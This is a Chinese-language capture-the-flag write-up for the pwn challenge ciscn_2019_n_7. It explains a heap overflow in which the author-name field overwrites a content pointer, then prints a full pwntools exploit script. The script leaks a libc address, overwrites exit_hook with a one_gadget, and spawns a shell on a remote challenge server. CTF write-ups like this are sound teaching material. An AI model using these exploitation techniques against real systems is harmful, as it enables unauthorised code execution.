ciscn_2019_n_7
查看保护
这里将name放入在了qword_202018 + 1这个地址,可以输入到+2的位置
edit的时候改的是 + 2这里的指针,所以这里就存在着一个堆溢出漏洞。
攻击思路:因为add可以改+2位置的指针,所以可以通过add将+2这里指向content的指针给覆盖成exit_hook。因为add被限制所以这里覆盖成exit_hook,然后edit改hook为gadget,这样程序退出的时候会调用exit。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27606)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Your choice-> '
def add(size, name):
r.sendlineafter(menu, '1')
r.sendafter('Input string Length: ', str(size))
r.sendafter('Author name:', name)
def edit(name, content):
r.sendlineafter(menu, '2')
r.sendafter('New Author name:', name)
r.sendafter('New contents:', content)
def show():
r.sendlineafter(menu, '3')
r.sendlineafter(menu, '666')
libc = ELF('libc-2.23.so')
r.recvuntil('0x')
puts_addr = int(r.recv(12), 16)
success('puts_addr = ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[3] + libc_base
exit_hook = libc_base + 0x5f0040 + 3848
success('exit_hook = ' + hex(exit_hook))
add(0x10, b'a' * 8 + p64(exit_hook))
edit('c', p64(one_gadget))
r.sendlineafter(menu, 'a')
r.interactive()